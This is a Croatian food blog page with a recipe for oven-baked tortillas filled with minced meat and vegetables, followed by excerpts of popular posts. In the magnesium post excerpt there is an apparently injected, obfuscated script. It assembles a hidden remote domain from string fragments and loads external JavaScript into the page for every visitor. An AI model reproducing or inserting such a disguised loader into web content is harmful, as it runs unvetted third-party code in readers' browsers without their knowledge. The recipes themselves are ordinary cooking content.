BRZE TORTILJE IZ PEĆNICE




Brze tortilje iz pećnice 



Mljeveno meso umotano u tortilju jedna je od onih kombinacija koja uvijek prolazi – jednostavna je, zasitna i lako prilagodljiva onome što imate u hladnjaku. Ovaj recept osobito je praktičan jer ga možete pripremiti i dan ranije pa samo dovršiti u pećnici kada vam zatreba brz, a ukusan obrok. Sočni nadjev od povrća i mesa, zajedno s topljenim sirom i mekim tortiljama, čini savršenu kombinaciju okusa i tekstura. Uz sve to, svježa sezonska salata daje lagani kontrast i zaokružuje cijeli obrok u jedan ukusni, domaći ručak koji će se rado pojesti do zadnjeg zalogaja.





Brze tortilje iz pećnice 


Sastojci:

  • 8 tortilja

  • 500 g mljevenog mesa

  • 1 glavica luka

  • pola poriluka

  • 2 mrkve

  • 1 tikvica

  • 1 paprika

  • 2 češnja češnjaka

  • 300 ml pasirane rajčice

  • 250 g šampinjona

  • 200 g kukuruza

  • 200 ml vrhnja za kuhanje

  • 200 g sira gaude

  • origano

  • maslinovo ulje




Priprema:


1.Na maslinovom ulju stavite dinstati luk i poriluk. Kada dobiju žutu boju, dodajte na kockice narezanu mrkvu, tikvicu i papriku. Dinstajte pet minuta.

2. Dodajte mljeveno meso, sol i papar. Pomiješajte.

3. Dodajte šampinjone koje ste narezali na listiće. Promiješajte i posolite da šampinjoni puste svoje sokove.

4. Dodajte pasiranu rajčicu i naribani češnjak. Dinstajte tridesetak minuta. Po potrebi dodajte vode.

5. U lonac ubacite kukuruz, dodajte peršin, pomiješajte i nadjev za tortilje je gotov.

6. Na tortilju stavite prvo naribani sir pa onda dvije do tri žlice nadjeva. Tortilju zamotajte i učvrstite čačkalicom.

7. Premažite vrhnjem za kuhanjem i posipajte origanom. Pecite u pećnici zagrijanoj na 180 stupnjeva, 15-20 minuta, dok tortilje ne dobiju zlatnu boju.

8. Dodatni savjet: tortilje idealno pristaju uz zelenu salatu. Upotrijebite: matovilac, rikulu, zelenu salatu ili kupus salatu. Pratite sezonu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više